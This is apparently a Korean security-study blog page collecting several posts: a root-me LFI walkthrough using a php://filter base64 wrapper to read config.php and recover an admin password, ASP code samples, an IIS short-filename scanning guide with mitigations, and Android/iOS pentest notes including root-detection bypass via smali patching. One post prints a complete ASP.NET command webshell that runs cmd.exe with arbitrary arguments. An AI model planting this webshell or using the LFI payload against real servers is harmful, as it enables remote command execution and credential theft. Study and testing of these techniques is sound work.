반응형

오랜만에 root-me 문제를 풀어보았습니다.ㅠㅠ

PHP filter 문제이고, 어드민 패스워드를 찾으면 된다고 하네요.


우선, 문제를 들어가보면, home과 login 버튼이 활성화 되어있습니다. 클릭해봅니다..


[home] 버튼을 클릭하면 URL 상에 inc 파라미터로 해당 php파일이 들어가있습니다. 

LFI 문제가 아닌가 의심해봅니다.


상위폴더로 이동하는 특수문자 "../"을 삽입해보았더니 경고 문구가 뜨면서 LFI 가능성을 높여줍니다.


inc 파라미터에 php파일 경로를 쓰면, php 파일 소스를 볼 수 있는게 아니라 실행이 되어버립니다.

저는 방법을 찾다가 LFI-cheat-sheet에서 PHP Wrapper 방법을 찾았습니다. 자세한 정보는 아래의 링크를 참고하세요.


>> https://highon.coffee/blog/lfi-cheat-sheet/


따라서, inc 파라미터에 php wrapper를 이용해 [php://filter/convert.base64-encode/resource=파일경로]를 삽입하면 인코딩된 문자열이 보입니다.

디코딩ㄱㄱ


BASE64 디코더 >> http://www.convertstring.com/ko/EncodeDecode/Base64Decode


해당 문자열을 디코딩 하니까 ch12.php의 소스코드가 보입니다! 해당 소스에서 config.php라는 의심스러운 php 코드를 찾았고,


다시 php wrapper를 이용해 config.php경로를 삽입하니 인코딩된 문자열이 나오구요


디코딩해보니!! 어드민 패스워드를 찾을 수 있었습니다%^^%


반응형

'Study > Wargame' 카테고리의 다른 글

[root-me] SQL injection - string  (0) 2019.02.07
[root-me] LFI - Double Encoding  (1) 2019.01.17
root-me >> SQL injection - blind  (0) 2018.06.08
root-me>>SQL injection - numeric  (0) 2018.05.01
root-me >> Command injection  (0) 2018.04.24
반응형

#1. PATA(Paralled ATA) = IDE = EIDE(Enhanced IDE)

  • 초기에 많이 사용됨. 지금은 거의 볼 수 없음.
  • 데이터 병렬 전송
  • PIO(Programmed Input/Output) 전송방식
  • 3.3MB/s ~ 16.7MB/s 속도 지원(매우 느림)


#2. SATA(Serial ATA)

  • PATA에서 진화된 케이스. 현재 주로 사용됨.
  • SATA1(~150MB/s) / SATA2(~300MB/s) / SATA3(~600MB/s)
  • 데이터 직렬 전송(높은 클록 주파수로 고속 전송을 위함)


#3. SCSI(Small Computer System Interface)

  • PATA의 데이터 안정성과 전송 속도를 향상시키기 위해 개발됨
  • 고성능+안전성
  • 데이터 병렬 전송
  • 고가의 제품 → 서버/워크스테이션 용으로 사용됨


#4. SAS(Serial Attaced SCSI)
  • 데이터 직렬 전송(전송속도와 안정성 대폭 증가)
  • HDD보다 좋은 성능
  • 고가의 제품 서버/워크스테이션 용으로 사용됨(별도의 SAS 컨트롤러 필요)
  • Point to Point
  • SATA와 호환되어 SATA 제품을 SAS컨트롤러에 연결하여 사용할 수 있지만, SAS제품은 SATA 포트에 연결할 수 없음.


반응형
반응형

1. Hello World! 출력


<!DOCTYPE html>
<html>
<body>

<%response.write("Hello World!")%>

</body>

</html>


2. 구구단 출력


<%

response.write "<table border='1'><tr>"

 

 for i = 1 to 9


 response.write "<td>"

  

  for j = 1 to 9

   response.write  i & "*" & j & " = " & i * j & "&nbsp;<br>"

  next

  

  

  If i = 3 or i = 6 then

   response.write "</td><tr>"

  Else

   response.write "</td>"

  end if

 

 next

  

  response.write "</tr></table>"

%>


3. 서버 정보 


<HTML>

<BODY>

<TABLE>

<% for each key in Request.ServerVariables %>

<TR>

<TD><%=key %></TD>

<TD>

<%

if Request.ServerVariables(key) = "" Then

Response.Write " "

else

Response.Write Request.ServerVariables(key)

end if

%>

</TD>

</TR>

<% Next %>

</TABLE>

</BODY>

</HTML>


4. CMD Webshell (악용금지!!)


   <%@ Page Language="VB" Debug="true" %>

   <%@ import Namespace="system.IO" %>

   <%@ import Namespace="System.Diagnostics" %>

   

   <script runat="server">      

   Sub RunCmd(Src As Object, E As EventArgs)            

     Dim myProcess As New Process()            

     Dim myProcessStartInfo As New ProcessStartInfo(xpath.text)            

     myProcessStartInfo.UseShellExecute = false            

     myProcessStartInfo.RedirectStandardOutput = true            

     myProcess.StartInfo = myProcessStartInfo            

     myProcessStartInfo.Arguments=xcmd.text            

     myProcess.Start()            

     Dim myStreamReader As StreamReader = myProcess.StandardOutput            

     Dim myString As String = myStreamReader.Readtoend()            

     myProcess.Close()            

     mystring=replace(mystring,"<","&lt;")            

     mystring=replace(mystring,">","&gt;")            

     result.text= vbcrlf & "<pre>" & mystring & "</pre>"    

   End Sub

   </script>

   

   <html>

   <body>    

   <form runat="server">        

   <p><asp:Label id="L_p" runat="server" width="80px">Program</asp:Label>        

   <asp:TextBox id="xpath" runat="server" Width="300px">c:\windows\system32\cmd.exe</asp:TextBox>        

   <p><asp:Label id="L_a" runat="server" width="80px">Arguments</asp:Label>        

   <asp:TextBox id="xcmd" runat="server" Width="300px" Text="/c net user">/c net user</asp:TextBox>        

   <p><asp:Button id="Button" onclick="runcmd" runat="server" Width="100px" Text="Run"></asp:Button>        

   <p><asp:Label id="result" runat="server"></asp:Label>       

   </form>

   </body>

   </html>


반응형
반응형

1. 개요


일부 IIS 서버에서 MS-DOS와의 호환을 위해 Short-FileName(SFN)을 사용 / 8.3 File Name 규칙을 허용한 경우 발생하는 취약점이다.


지금까지 IIS 하위 버전(7이하)에서만 발견되는줄 알았으나, 8.3 File Name을 지원하는 경우 Microsoft IIS/8.5 버전에서도 취약했다.


하지만, Microsoft IIS/8.5 버전에서는 파일  및 디렉토리의 존재 유무에 따른 응답값이 다른 것을 웹 사이트 상으로 확인이 불가하였다.

(DEBUG 메소드를 사용하기 때문인 듯...)


즉, 툴을 사용해서 틸드문자 취약성을 판단해야 한다.



2. 툴 다운로드 및 사용법


툴 다운로드 링크 >> https://github.com/irsdl/iis-shortname-scanner/


위 링크에서 툴을 다운로드 한 후, 압축을 풀면 run.bat 배치파일로 실행 가능하며, cmd 창에서 iis_shortname_scanner.jar 실행으로도 가능하다.



>> 타겟 URL을 지정할 때는 폴더까지 지정해주는 것이 좋다.

>> 쓰레드 수는 최대한 낮게 설정해주는 것이 서버 부하를 줄일 수 있다(0도 가능)



결과를 보면, 해당 URL/폴더/ 하위에는 default.asp, modify.asp, view.asp, write.asp 등의 파일이 존재한다는 것이 유추 가능하다.


3. 대응방안


[ 8.3 File Name 비활성화 ] (8 버전 이상의 서버에서는 유일한 대응방법..인듯)


1. 레지스트리 편집기에서 HKLM/SYSTEM/CurrentControlSet/Control/FileSystem 내 NtfsDisable8dot3NameCreation 값을 1로 설정


2. 기존에 생성되어 있는 파일의 8.3 FileName 비활성화

1. 현재 디렉토리를 복사한 후 디렉토리 명을 New(예시임)로 지정한다. 

2. 현재 디렉토리의 디렉토리 명을 Old로 지정한다. 

3. New디렉토리 명을 원래 파일명으로 지정한다.


4. 참고 사이트


http://laughfool.tistory.com/32

https://github.com/irsdl/iis-shortname-scanner/

반응형
반응형

APK Maganer Tool 디컴파일 오류 해결 방법

안드로이드 진단을 하면서 주로 APK_Manager 툴을 사용하고 있는데, 9번(Decompile) 오류가 자주 발생되어 아는 해결방법을 정리한다.


Solution 1) 최상위 폴더로 이동/한글 포함 폴더명 사용X

>>apk manager 폴더를 최상위로 옮기거나 한글이 포함안된 폴더명으로 바꾸기(한글인식 불가한듯..ㅜ)


Solution 2) apktool, smali, baksmali 버전 업데이트

>> [apk_manager - other] 폴더에 있는 apktool.jar, smali.jar, baksmali.jar를 최신 버전으로 업데이트 한다.




>> apktool 최신 버전 다운로드 링크 → https://ibotpeaches.github.io/Apktool/install/ 페이지 내 Current Version 클릭

>> smali, baksmali 최신 버전 다운로드 링크 → https://bitbucket.org/JesusFreke/smali/downloads/ 


Solution 3) apktool 폴더에 있는 리소스 복사

>> 로컬 내 [apktool - framework] 폴더 내 있는 apk 파일을 [apk_manager - framework]로 복사하기




※추후 해결 방법을 더 알게 되면 추가 예정

반응형
반응형

Problem

IOS 10 이상에서 프록시를 통해 https에 접근하는 경우, Burp 인증서를 설치해도 unknown_ca 경고가 뜨는 경우가 있다.


Solutions


Step 1) Burp Suite Tool 최신 버전 다운로드

>>1.7.30 버전을 사용 중이었는데도 패킷이 잡히지 않으며, unknown_ca 경고가 뜸.

>>모바일 패킷을 잡을 땐 항상 최신 버전을 사용하자.(현재 최신 v.1.7.36)


Step 2) Burp 인증서를 신뢰받는 인증서로 설정

>>[설정 → 일반 → 정보 → 인증서 신뢰 설정] 에서 burp 인증서를 신뢰 받는 인증서로 활성화


(스크린샷을 못찍음..ㅜㅜ)

반응형
반응형

현재 Activity 확인하기


Step 1) 디바이스 연결


>> adb devices


Step 2) 디바이스에서 어플리케이션 실행


Step 3) 현재 실행되고 있는 Activity 명 확인


>> adb shell "dumpsys window windows | grep -E 'mCurrentFocus|mFocusedApp'"



Activity 강제 호출하기


Step 1) 디바이스 연결


Step 2) adb 명령어로 Activity 강제 호출


>> adb shell "am start -a android.intent.action.MAIN -n [패키지명]/[호출할 Activity명]"

ex) adb shell "am start -a android.intent.action.MAIN -n com.android.chrome/com.google.android.apps.chrome.Main"





반응형

반응형

Step 1) JAVA 설치 / 환경변수 설정


Step 2) ADB 설치 / ADB로 단말기 연결


>> adb devices 명령어로 연결된 디바이스 보기


Step 3) APK  파일 추출하기


1. adb로 추출하기

-adb shell로 단말기 연결

-pm list packages -f로 패키지 목록 출력

-adb pull [패키지명] [저장할 파일명] (ex. adb pull /data/data/com.example.apk test.apk)


2. Astro 어플 이용하여 추출


>> 어플 실행 → 앱 매니저 → 추출할 앱 선택 → 더보기 → 백업 클릭


Step 4) APK Manager Tool로 디컴파일


- place-apk-here-for-modding 폴더에 디컴파일 할 apk 파일 붙여넣기

- Script.cmd 실행

- 22번으로 디컴파일할 apk 파일 선택

- 9번 눌러서 디컴파일 시작


Step 5) 루팅 함수 검색


- Astro grep으로 string 검사

- jadx tool로 apk 디컴파일 해서 rooting/rooted 검사

- smali code에서 해당 함수 부분 검색

- 수정 후 컴파일 + Sign + Install(14번)







반응형

+ Recent posts

반응형
반응형